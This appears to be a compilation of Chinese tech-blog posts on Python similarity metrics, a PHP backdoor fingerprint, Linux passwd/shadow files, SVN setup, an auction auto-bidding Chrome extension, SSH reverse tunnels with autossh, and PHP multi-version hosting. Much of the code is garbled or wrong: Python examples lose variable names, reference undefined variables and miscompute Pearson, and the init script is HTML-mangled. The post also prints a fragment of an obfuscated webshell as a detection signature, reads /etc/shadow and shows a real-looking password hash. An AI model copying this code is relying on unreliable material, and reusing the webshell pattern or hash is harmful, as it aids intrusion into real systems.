各种相似度计算的python实现

前言
在数据挖掘中有很多地方要计算相似度,比如聚类分析和协同过滤。计算相似度的有许多方法,其中有欧几里德距离、曼哈顿距离、Jaccard系数和皮尔逊相关度等等。我们这里把一些常用的相似度计算方法,用python进行实现以下。如果是初学者,我认为把公式先写下来,然后再写代码去实现比较好。 

欧几里德距离
几个数据集之间的相似度一般是基于每对对象间的距离计算。最常用的当然是欧几里德距离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#-*-coding:utf-8 -*-

#计算欧几里德距离:
def euclidean(p,q):
#如果两数据集数目不同,计算两者之间都对应有的数
same = 0
for i in p:
    if i in q:
        same +=1

#计算欧几里德距离,并将其标准化
= sum([(p[i] - q[i])**2 for i in range(same)])
return 1/(1+e**.5)
我们用数据集可以去算一下: 

= [1,3,2,3,4,3]
= [1,3,4,3,2,3,4,3]
print euclidean(p,q)

得出结果是:0.261203874964

皮尔逊相关度
几个数据集中出现异常值的时候,欧几里德距离就不如皮尔逊相关度‘稳定’,它会在出现偏差时倾向于给出更好的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-*-coding:utf-8 -*-

#计算皮尔逊相关度:
def pearson(p,q):
#只计算两者共同有的
    same = 0
    for i in p:
        if i in q:
            same +=1

    n = same
    #分别求p,q的和
    sumx = sum([p[i] for i in range(n)])
    sumy = sum([q[i] for i in range(n)])
    #分别求出p,q的平方和
    sumxsq = sum([p[i]**2 for i in range(n)])
    sumysq = sum([q[i]**2 for i in range(n)])
    #求出p,q的乘积和
    sumxy = sum([p[i]*q[i] for i in range(n)])
    # print sumxy
    #求出pearson相关系数
    up = sumxy - sumx*sumy/n
    down = ((sumxsq - pow(sumxsq,2)/n)*(sumysq - pow(sumysq,2)/n))**.5
    #若down为零则不能计算,return 0
    if down == 0 :return 0
    r = up/down
    return r

用同样的数据集去计算:

1
2
3
= [1,3,2,3,4,3]
= [1,3,4,3,2,3,4,3]
print pearson(p,q)

得出结果是:0.00595238095238

曼哈顿距离
曼哈顿距离是另一种相似度计算方法,不是经常需要,但是我们仍然学会如何用python去实现,其公式为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#-*-coding:utf-8 -*-

#计算曼哈顿距离:
def manhattan(p,q):
#只计算两者共同有的
    same = 0
    for i in p:
        if i in q:
        same += 1
#计算曼哈顿距离
    n = same
    vals = range(n)
    distance = sum(abs(p[i] - q[i]) for i in vals)
    return distance
用以上的数据集去计算:

= [1,3,2,3,4,3]
= [1,3,4,3,2,3,4,3]
print manhattan(p,q)

得出结果为4

Jaccard系数
当数据集为二元变量时,我们只有两种状态:0或者1。这个时候以上的计算相似度的方法就无法派上用场,于是我们引出Jaccard系数,这是一个能够表示两个数据集都是二元变量(也可以多元)的相似度的指标

1
2
3
4
5
6
#-*-coding:utf-8 -*-

# 计算jaccard系数
def jaccard(p,q):
    c = [for i in p if v in b]
    return float(len(c))/(len(a)+len(b)-len(b))

#注意:在使用之前必须对两个数据集进行去重
我们用一些特殊的数据集去测试一下:

1
2
3
= ['shirt','shoes','pants','socks']
= ['shirt','shoes']
print jaccard(p,q)

得出结果是:0.5

Tanimoto系数
Tanimoto系数是一种度量两个集合之间相似程度的方法(与Jaccard 系数相似,但不是完全相同)。其主要用于二元变量或者多元变量之间的数据集之间的相似度计算

1
2
#-*-coding:utf-8-*-def tanimoto(p,q):
    c = [for v in p if v in q]    return float(len(c) / (len(a) + len(b) - len(c)))

当比较的数据集的数据集合中的元素都是相异的时候,Jaccard系数与Tanimoto系数相同。

JSCN的后门指纹

1
2
3
4
@error_reporting(0);@ini_set('display_errors',false);defined

eNrtWmtPW8cW/SsOQjUoqJ33I9Rp7NgQB0wgBhKCEOJhDIaEBkJ5tPmSNCkJP2eeP6/7QFSp9hgf
enNvLlI/IGFzzpo1e6+995pzGL4QTBojCHEqKivN8tBnoiMy1HFhInZeDq2UXGCeEBm8ZSZ6HUaK
1
require(dirname(__FILE__)及对应引用文件删除

linux 系统中 /etc/passwd 和 /etc/shadow文件详解

在linux操作系统中, /etc/passwd文件中的每个用户都有一个对应的记录行,记录着这个用户的一下基本属性。该文件对所有用户可读。

而/etc/shadow文件正如他的名字一样,他是passwd文件的一个影子,/etc/shadow文件中的记录行与/etc/passwd中的一一对应,它由pwconv命令根据/etc/passwd中的数据自动产生。但是/etc/shadow文件只有系统管理员才能够进行修改和查看。

/etc/passwd文件介绍
首先,我们通过命令行

1
cat /etc/passwd

进行查看/etc/passwd文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
saned:x:108:115::/home/saned:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
yaofei:x:1000:1000:ubuntu14.04,,,:/home/yaofei:/bin/bash
sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false

从文件中我们可以看到,/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下:
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell

用户名(login_name):是代表用户账号的字符串。通常长度不超过8个字符,并且由大小写字母和/或数字组成。登录名中不能有冒号(:),因为冒号在这里是分隔符。为了兼容起见,登录名中最好不要包含点字符(.),并且不使用连字符(-)和加号(+)打头。
口令(passwd):一些系统中,存放着加密后的用户口令字。虽然这个字段存放的只是用户口令的加密串,不是明文,但是由于/etc/passwd文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统(如SVR4)都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”。
用户标识号(UID):是一个整数,系统内部用它来标识用户。一般情况下它与用户名是一一对应的。如果几个用户名对应的用户标识号是一样的,系统内部将把它们视为同一个用户,但是它们可以有不同的口令、不同的主目录以及不同的登录Shell等。取值范围是0-65535。0是超级用户root的标识号,1-99由系统保留,作为管理账号,普通用户的标识号从100开始。在Linux系统中,这个界限是500。
组标识号(GID):字段记录的是用户所属的用户组。它对应着/etc/group文件中的一条记录。
注释性描述(users):字段记录着用户的一些个人情况,例如用户的真实姓名、电话、地址等,这个字段并没有什么实际的用途。在不同的Linux系统中,这个字段的格式并没有统一。在许多Linux系统中,这个字段存放的是一段任意的注释性描述文字,用做finger命令的输出。
主目录(home_directory):也就是用户的起始工作目录,它是用户在登录到系统之后所处的目录。在大多数系统中,各用户的主目录都被组织在同一个特定的目录下,而用户主目录的名称就是该用户的登录名。各用户对自己的主目录有读、写、执行(搜索)权限,其他用户对此目录的访问权限则根据具体情况设置。
登录Shell(Shell):用户登录后,要启动一个进程,负责将用户的操作传给内核,这个进程是用户登录到系统后运行的命令解释器或某个特定的程序,即Shell。Shell是用户与Linux系统之间的接口。Linux的Shell有许多种,每种都有不同的特点。常用的有

1
2
3
4
5
sh(BourneShell)
csh(CShell)
ksh(KornShell)
tcsh(TENEX/TOPS-20typeCShell)
bash(BourneAgainShell)

等。系统管理员可以根据系统情况和用户习惯为用户指定某个Shell。如果不指定Shell,那么系统使用sh为默认的登录Shell,即这个字段的值为/bin/sh。
/etc/shadow文件介绍
/etc/shadow文件格式与/etc/passwd文件格式类似,同样由若干个字段组成,字段之间用“:”隔开。
通过命令行输入

1
sudo cat /etc/shadow

进行文件内容查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root:!:17043:0:99999:7:::
daemon:*:16652:0:99999:7:::
bin:*:16652:0:99999:7:::
sys:*:16652:0:99999:7:::
sync:*:16652:0:99999:7:::
games:*:16652:0:99999:7:::
man:*:16652:0:99999:7:::
lp:*:16652:0:99999:7:::
mail:*:16652:0:99999:7:::
news:*:16652:0:99999:7:::
uucp:*:16652:0:99999:7:::
proxy:*:16652:0:99999:7:::
www-data:*:16652:0:99999:7:::
backup:*:16652:0:99999:7:::
list:*:16652:0:99999:7:::
irc:*:16652:0:99999:7:::
gnats:*:16652:0:99999:7:::
nobody:*:16652:0:99999:7:::
libuuid:!:16652:0:99999:7:::
syslog:*:16652:0:99999:7:::
messagebus:*:16652:0:99999:7:::
usbmux:*:16652:0:99999:7:::
dnsmasq:*:16652:0:99999:7:::
avahi-autoipd:*:16652:0:99999:7:::
kernoops:*:16652:0:99999:7:::
rtkit:*:16652:0:99999:7:::
saned:*:16652:0:99999:7:::
whoopsie:*:16652:0:99999:7:::
speech-dispatcher:!:16652:0:99999:7:::
avahi:*:16652:0:99999:7:::
lightdm:*:16652:0:99999:7:::
colord:*:16652:0:99999:7:::
hplip:*:16652:0:99999:7:::
pulse:*:16652:0:99999:7:::
yaofei:$1$5M0Rbozg$1fWsJaQB.TFAL24b96xi41:17043:0:99999:7:::
sshd:*:17043:0:99999:7:::
mysql:!:17048:0:99999:7:::

文件中字段主要含义为:登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间:标志

“登录名”是与/etc/passwd文件中的登录名相一致的用户账号
“口令”字段存放的是加密后的用户口令字:
如果为空,则对应用户没有口令,登录时不需要口令;
星号代表帐号被锁定;
双叹号表示这个密码已经过期了;
$6$ 开头的,表明是用SHA-512加密;
$1$ 表明是用MD5加密;
$2$ 是用Blowfish加密;
$5$ 是用 SHA-256加密;
“最后一次修改时间”表示的是从某个时刻起,到用户最后一次修改口令时的天数。时间起点对不同的系统可能不一样。例如在SCOLinux中,这个时间起点是1970年1月1日。
“最小时间间隔”指的是两次修改口令之间所需的最小天数。
“最大时间间隔”指的是口令保持有效的最大天数。
“警告时间”字段表示的是从系统开始警告用户到用户密码正式失效之间的天数。
“不活动时间”表示的是用户没有登录活动但账号仍能保持有效的最大天数。
“失效时间”字段给出的是一个绝对的天数,如果使用了这个字段,那么就给出相应账号的生存期。期满后,该账号就不再是一个合法的账号,也就不能再用来登录了。

The following packages have been kept back 的解决方法

ubuntu 16.04

1
2
3
4
5
6
7
8
9
10
sudo apt-get upgrade
Reading package lists… Done
Building dependency tree
Reading state information… Done
The following packages have been kept back:
ginn hplip hplip-data libgrip0 libhpmud0 libsane-hpaio libunity-2d-private0
libunity-core-5.0-5 linux-generic linux-headers-generic linux-image-generic
printer-driver-hpcups printer-driver-hpijs unity unity-2d-common
unity-2d-panel unity-2d-shell unity-2d-spread unity-common unity-services
0 upgraded, 0 newly installed, 0 to remove and 20 not upgraded.

是因为有部份packages的安装版比release版新而出现”The following packages have been kept back”这个问题,解决方法是使用

1
apt-get -u dist-upgrade

统一更新到发布的版本。这条命令会强制更新软件包到最新版本,并自动解决缺少的依赖包。

Ubuntu Server配置SVN

1.安装SVN

1
apt-get install subversion

2.创建项目目录

1
2
3
4
mkdir svn //创建一个文件夹,用来存放一个或多个项目
cd ./svn //进入这个目录
mkdir project//创建一个新的项目目录
svnadmin create ./svn/project //创建svn文件仓库(这一步是让这个新的文件夹变成svn的版本库)

3.权限设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cd ./svn/project/conf
vim passwd //添加用户设置密码
root = 123456
user1 = 123456
user2 = 123456
vim authz //编辑用户权限
admin = user1,user2,root
@admin=rw
*=r
vim svnserve.conf //控制访问权限
anon-access = none #匿名用户(anonymous users)的访问权限
auth-access = write #授权用户(authenticated users)的访问权限
password-db = passwd #密码数据库文件的位置,这里指向同级目录下的passwd文件
authz-db = authz #用户授权规则文件的位置,这里指向同级目录下的authz文件

4.启动SVN
启动svn

1
svnserve -d -r /svn 

这里的/svn 的目录就是你第一步创建用来存放项目的那个目录

关闭svn
在配置过程中如果需要关闭svn则kill

1
2
3
4
ps aux | grep svn
root 21618 0.0 0.0 69596 616 ? Ss 19:07 0:00 svnserve -d -r /svn
root 21927 0.0 0.2 11748 2156 pts/0 S+ 19:10 0:00 grep –color=auto svn
kill 21618

5.配置钩子
在这里svn提供了好的钩子模板,你可以根据自己的情况选择模板,一般都是选择post-commit.tmpl(提交后更新)

1
2
cd ./svn/project/hooks
vim post-commit //新建文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
EPOS="$1"
REV="$2"
TXN_NAME="$3"
export.UTF-8
SVN=/usr/bin/svn
WEB=/home/wwwroot/projectDIR
LOG=/tmp/www.log
$SVN update $WEB –username svnuser–password yourpasswd > $LOG || exit 1
chown wwwroot:www $WEB -R
exit 0
ifthen
echo "ok" >> /tmp/www.out
fi

6.设置模板执行权限

1
chmod 755 post-commit

7.上传代码纳入版本管理

1
svn import -m "import" /home/project svn://192.168.213.31/project

8.检出到WEB目录

1
/usr/bin/svn checkout svn://serverIP/project/ /home/wwwroot/project

实时监听页面变化的Chrome Extenstion案例

工程名Chrome_Extenstion_Bider
适用于chrome内核的浏览器
目录结构

1
2
3
4
5
6
7
Chrome_Extenstion_Bider/Bider/css
|-Chrome_Extenstion_Bider/Bider/css/common.css
Chrome_Extenstion_Bider/Bider/include
|-Chrome_Extenstion_Bider/Bider/include/jquery-1.11.0.min.js
Chrome_Extenstion_Bider/Bider/scripts
|-Chrome_Extenstion_Bider/Bider/scripts/main.js
Chrome_Extenstion_Bider/Bider/manifest.json

Chrome_Extenstion_Bider/Bider/manifest.json

1
2
3
4
5
6
7
8
9
10
11
12
{
    "manifest_version": 2,
    "name": "Bider",
    "version": "0.1.0",
    "description": "Bider.",
    "content_scripts": [{
        "matches": ["http://www.hillmatrix.com/*"],
        "css": ["css/common.css"],
        "js": ["include/jquery-1.11.0.min.js", "scripts/main.js"],
        "all_frames": true
    }]
}

Chrome_Extenstion_Bider/Bider/css/common.css

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#ls_box {
    position: absolute;
    width: 500px;
    height: 300px;
    background-color: #fff;
    border-radius: 5px;
    border: 1px solid #ccc;
    left: 50%;
    top: 50%;
    margin-left: -250px;
    margin-top: -150px;
    z-index: 99999;
    padding: 10px;
}

#ls_box h3 {
    height: 30px;
    line-height: 30px;
    border-bottom: 1px solid #ccc;
    margin: 0 0 5px 0;
    padding: 0;
}

#ls_box #ls_panel {
    height: 105px;
    margin: 10px 0;
}

#ls_box #ls_panel #ls_ms {
    color: blue;
    display: inline-block;
}

#ls_box #ls_panel #ls_warn {
    color: red;
    width: 312px;
    text-align: right;
    display: inline-block;
}

#ls_box #ls_panel #ls_list {
    overflow-x: hidden;
    overflow-y: scroll;
    height: 90px;
    margin: 0;
    padding: 0;
}

#ls_box #ls_panel #ls_list ul li {
    height: 24px;
    line-height: 24px;
    border-bottom: 1px dotted #efefef;
}

#ls_box #ls_panel #ls_list ul li span {
    float: right;
    cursor: pointer;
}

#ls_box #ls_form {
    background-color: #efefef;
    border-radius: 5px;
    padding: 10px;
}

#ls_box #ls_form label {
    padding: 0 5px;
    display: inline-block;
}

#ls_box #ls_form #ls_panel {
    padding: 0 5px;
}

#ls_box #ls_form input {
    width: 120px;
    padding: 5px 10px;
    display: inline-block;
}

#ls_box #ls_form #ls_btnc {
    width: auto;
    padding: 5px 10px;
    text-align: center;
}

#ls_box #ls_form button {
    padding: 5px 10px;
    display: inline-block;
    margin-right: 20px;
}

Chrome_Extenstion_Bider/Bider/include/jquery-1.11.0.min.js

Chrome_Extenstion_Bider/Bider/scripts/main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
var main = {
    flag: false,
    flash: 200,
    money: 0,
    // 初始化
    init: function(target) {
        // 创建界面
        this.create(target);

        // 获取页面数据
        this.listenPage();

        //绑定按钮
        this.bindBtn();
    },

    //绑定BTN
    bindBtn: function() {
        _this = this;

        var ls_start = $('#ls_start');
        var ls_stop = $('#ls_stop');
        var ls_max = $('#ls_max');
        var ls_step = $('#ls_step');

        if (!_this.flag) {
            ls_stop.attr("disabled", "disabled");
            ls_start.removeAttr("disabled");
            ls_max.removeAttr("disabled");
            ls_step.removeAttr("disabled");
        } else {
            ls_start.attr("disabled", "disabled");
            ls_stop.removeAttr("disabled");
            ls_max.attr("disabled", "disabled");
            ls_step.attr("disabled", "disabled");
        }

        ls_start.bind("click", function() {
            if (!_this.flag) {
                ls_start.attr("disabled", "disabled");
                ls_stop.removeAttr("disabled");
                ls_max.attr("disabled", "disabled");
                ls_step.attr("disabled", "disabled");
                _this.flag = true;
            }
        });

        ls_stop.bind("click", function() {
            if (_this.flag) {
                ls_stop.attr("disabled", "disabled");
                ls_start.removeAttr("disabled");
                ls_max.removeAttr("disabled");
                ls_step.removeAttr("disabled");
                _this.flag = false;
            }
        });
    },

    //动态竞标价
    activePrice: function() {
        _this = this;
        var page_sendbtn = $('#bidBtnId');
        var page_pi = $('.TB_priceInput');

        var ls_max = parseInt($('#ls_max').val());
        var ls_step = parseInt($('#ls_step').val());
        //console.log(_this.flag);
        if (_this.flag && ls_max > 0 && ls_step > 0) {
            var cmoney = parseInt(_this.money);
            var m1 = cmoney + ls_step;
            var m2 = ls_max + ls_step;
            if (m1 <= ls_max) {
                page_pi.val(m1);
                $('#ls_warn').html('当前出价:' + m1);
            } else if (cmoney == ls_max) {
                page_pi.val(m2);
                $('#ls_warn').html('当前出价(MAX+1):' + m2);
            } else {
                $('#ls_warn').html('已经超出最大限额+1步长,停止竞标');
                $('#ls_stop').delay(500).click();
            }
        } else if (!_this.flag) {
            $('#ls_warn').html('自动竞标系统停止中');
        } else {
            $('#ls_warn').html('请设置正确的参数');
        }
    },

    // 创建界面
    create: function(target) {
        var _html = '<div id="ls_box">' + '<h3>' + 'Bider' + '</h3>' + '<div id="ls_panel">' + '<div>毫秒计数器:<span id="ls_ms">0</span><span id="ls_warn"></span></div>' + '<ul id="ls_list">正在加载数据...' + '</ul>' + '</div>' + '<div id="ls_form">' + '<div id="ls_panel">' + '<h3>' + '策略' + '</h3>' + '<label>' + '最高价: ' + '</label>' + '<input type="text" id="ls_max" value="0" />' + '<label>' + '步长: ' + '</label>' + '<input type="text" id="ls_step" value="10" />' + '<br />' + '<div id="ls_btnc"><button id="ls_start">开始</button><button id="ls_stop">停止</button></div>' + '</div>' + '</div>' + '</div>';
        target.closest("body").append(_html);
    },

    /**
     * 监听页面数据变化
     */

    listenPage: function() {
        _this = this;
        var page_countDown = $('#countDown_counting'); //the element I want to monitor

        page_countDown.bind('DOMCharacterDataModified DOMSubtreeModified', function(e) {
            var page_cp = $('#currentPrice').html();
            var price_arr = page_cp.split("/");
            var page_cp_total = price_arr[0];
            var page_cp_single = price_arr[1];
            _this.money = page_cp_single;

            var dataList = ['当前状态:总价:' + page_cp_total + ',单价:' + page_cp_single];
            dataList.push('倒计时:' + $('#countDown_counting').html() + '秒');
            _this.printData(dataList);
        });
    },

    /**
     * 将已有数据写到页面上
     */

    printData: function(dataList) {
        if (!dataList || dataList.length == 0) {
            $("#ls_list").html('<p>获取数据失败</p>');
            return;
        }
        // 遍历对象,构建输出html
        var _html = [];
        for (var i in dataList) {
            _html.push('<li>' + dataList[i] + '</li>');
        }
        $("#ls_list").html(_html.join(''));
    },
}

var ext_c = $('#countDown_counting');
//console.log(ext_c[0]);
if (ext_c[0] != undefined) {
    main.init(ext_c);
    var ext_t = parseInt(ext_c.html()) * 1000;
    var ext_isclick = false;
    ext_c.bind('DOMCharacterDataModified DOMSubtreeModified', function(e) {
        if ($.isNumeric($(this).html())) {
            ext_t = parseInt($(this).html()) * 1000;
        }
    });

    var ext_ms = function() {
            var ext_s = 0;
            if (ext_t > 0) {
                ext_t -= 17;
                ext_s = ext_t;
            }
            if (ext_c.html() == '0') {
                ext_c.unbind();
                clearInterval(ext_run);
            }
            console.log(ext_s);
            $('#ls_ms').html(ext_s);
            if (ext_s <= main.flash && !ext_isclick && main.flag) {
                ext_isclick = true;
                console.log('倒计时剩余:' + ext_s + '毫秒,提交请求!');
                ext_c.unbind();
                clearInterval(ext_run);
                $('#bidBtnId').click();
            }
            main.activePrice();
        }

        //毫秒级计数器
    var ext_run = setInterval(ext_ms, 15);
}

Chrome_Extenstion_Bider

JS原生方法监听DOM结构改变事件

https://developer.mozilla.org/en-US/docs/XUL/Events#Mutation_DOM_events

1
2
3
document.addEventListener('DOMNodeInserted',function(){alert(1)},false);
document.addEventListener('DOMAttrModified',function(){alert(1)},false);
document.addEventListener('DOMNodeRemoved',function(){alert(1)},false);

变动事件包括以下不同事件类型:

1
2
3
4
5
6
7
DOMSubtreeModified; //在DOM结构中发生任何变化时触发
DOMNodeInserted; //在一个节点作为子节点被插入到另一个节点中时触发
DOMNodeRemoved; //在节点从其父节点中被移除时触发
DOMNodeRemovedFromDocument; //在一个节点被直接从文档中移除或通过子树间接从文档中移除之前触发
DOMNodeInsertedIntoDocument; //在一个节点被直接插入文档或通过子树间接插入文档之后触发
DOMAttrModified; //在属性被修改之后触发
DOMCharacterDataModified; //在文本节点的值发生变化时触发

SSH反向隧道链接及Autossh守护进程的使用

1.建立SSH反向隧道链接:

A要控制B

A主机:外网,ip:123.123.123.123,sshd端口:2221
B主机:内网,sshd端口:2223

无论是外网主机A,还是内网主机B都需要跑ssh daemon

1.1.首先在B上执行

1
$ ssh -NfR 1234:localhost:2223 user1@123.123.123.123 -p2221

这句话的意思是将A主机的1234端口和B主机的2223端口绑定,相当于远程端口映射(Remote Port Forwarding)。

这里每次需要输入A主机user1的登陆密码,后面会讲到解决办法。

1.2.这时在A主机上sshd会listen本地1234端口

1
2
3
$ ss -ant
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port
LISTEN     0      128               127.0.0.1:1234                     *:*

1.3.像平时一样连接到A主机的1234端口就可以控制内网B主机了

1
$ ssh localhost -p1234

2.这种反向连接(Reverse Connection)不稳定,可能随时断开,需要内网主机B再次向外网A发起连接,将自动连接ssh的应用Autossh制作成daemon,每次开机自动运行,并且可以使用service进行开关控制。

在此之前还要解决之前的一个问题,那就是每次内网主机B连接外网主机A时都需要输入密码,这个问题ssh本身是提供另外一种验证方式——通过密钥验证用户身份,实现自动登录。

2.1.在内网B主机上生产公钥和私钥

1
2
3
4
$ ssh-keygen
...(一直按Enter,最后在~/.ssh/下生成密钥)
$ ls ~/.ssh/
id_rsa id_rsa.pub known_hosts

2.2.复制B主机上生成的id_rsa.pub公钥到外网A主机上,并将内容加入到~/.ssh/authorized_keys

ssh-copy-id命令添加到远程主机的自动验证

1
$ ssh-copy-id user1@123.123.123.123

2.3.制作Autossh的daemon

使用vim编辑,如果没有则新建

SysV:/etc/inid.d/autossh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/bin/bash  
### BEGIN INIT INFO  
#  
# Provides:  location_server  
# Required-Start:   $local_fs  $remote_fs  
# Required-Stop:    $local_fs  $remote_fs  
# Default-Start:    2 3 4 5  
# Default-Stop:     0 1 6  
# Short-Description:    initscript  
# Description:  This file should be used to construct scripts to be placed in /etc/init.d.  
#  
### END INIT INFO  
 
## Fill in name of program here.  
PROG=&quot;autossh&quot;  
PROG_PATH=&quot;/usr/bin&quot; ## Not need, but sometimes helpful (if $PROG resides in /opt for example).  
PROG_ARGS=&quot;-M 5678 -NR *:2222:127.0.0.1:8080 root@123.123.123.123 -p 22&quot;  
PID_PATH=&quot;/var/run/&quot;  
 
start() {  
    if [ -e &quot;$PID_PATH/$PROG.pid&quot; ]; then  
        ## Program is running, exit with error.  
        echo &quot;Error! $PROG is currently running!&quot; 1&amp;gt;&amp;amp;2  
        exit 1  
    else  
        ## Change from /dev/null to something like /var/log/$PROG if you want to save output.  
        $PROG_PATH/$PROG $PROG_ARGS 2&amp;gt;&amp;amp;1 &amp;gt;/var/log/$PROG &amp;amp;  
    $pid=`ps ax | grep -i 'location_server' | sed 's/^[0−9]{1,}.*/\1/g' | head -n 1`  
 
        echo &quot;$PROG started&quot;  
        echo $pid &amp;gt; &quot;$PID_PATH/$PROG.pid&quot;  
    fi  
}  
 
stop() {  
    echo &quot;begin stop&quot;  
    if [ -e &quot;$PID_PATH/$PROG.pid&quot; ]; then  
        ## Program is running, so stop it  
    pid=`ps ax | grep -i 'location_server' | sed 's/^[0−9]{1,}.*/\1/g' | head -n 1`  
    kill $pid  
         
        rm -f  &quot;$PID_PATH/$PROG.pid&quot;  
        echo &quot;$PROG stopped&quot;  
    else  
        ## Program is not running, exit with error.  
        echo &quot;Error! $PROG not started!&quot; 1&amp;gt;&amp;amp;2  
        exit 1  
    fi  
}  
 
## Check to see if we are running as root first.  
## Found at http://www.cyberciti.biz/tips/bash-root-user-check-script.html  
if [ &quot;$(id -u)&quot; != &quot;0&quot; ]; then  
    echo &quot;This script must be run as root&quot; 1&amp;gt;&amp;amp;2  
    exit 1  
fi  
 
case &quot;$1&quot; in  
    start)  
        start  
        exit 0  
    ;;  
    stop)  
        stop  
        exit 0  
    ;;  
    reload|restart|force-reload)  
        stop  
        start  
        exit 0  
    ;;  
    **)  
        echo &quot;Usage: $0 {start|stop|reload}&quot; 1&amp;gt;&amp;amp;2  
        exit 1  
    ;;  
esac

php多版本共存的配置(nginx+php5.2 & 5.5 & 5.6)

首先安装好不同版本的php

1
2
3
root@ubuntu:/usr/local# ls
autoconf-2.13 bin curl etc freetype games include lib man mysql nginx php php5.2 php5.6 sbin share src zend zend52
root@ubuntu:/usr/local#

配置
以防修改配置文件出错,可以先做好备份

1
vim etc/php-fpm.conf

需要注意下面几处配置

1
<value name="listen_address">127.0.0.1:9100</value>

这个表示php的fastcgi进程监听的ip地址以及端口。因为本地已经有一个5.6版本了所以这里改成9100 nobody

1
<value name="group">nobody</value>

表示php的fastcgi进程以什么用户以及用户组来运行,默认该行是注释掉的,需要打开

1
<value name="display_errors">0</value>

是否显示php错误信息

1
<value name="max_children">5</value>

最大的子进程数目
运行php-fpm: php-fpm用一个程序来控制fastcgi进程,这个文件在$PREFIX/sbin/php-fpm

php5.6版本的php-fpm.conf文件

成功运行php-fpm后
nginx配置

1
2
3
4
5
6
7
8
9
10
11
12
13
server{
    listen 80;
    server_name php5.2.com;
    index index.html index.htm index.php;
    root /home/wwwroot/php5.2;

    location ~ \.php$ {
        fastcgi_pass 127.0.0.1:9100;      #这里把fastcgi_pass 改到本地的9100端口
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name;
        include fastcgi_params;
    }
}

启动

1
/usr/local/php5.2/sbin/php-fpm start

php5.3之后官方收录了php-fpm,所以之后的版本不用加start参数
再把启动命令写入/etc/rc.local文件中,开机启动。
到此实现以不同域名访问同一主机。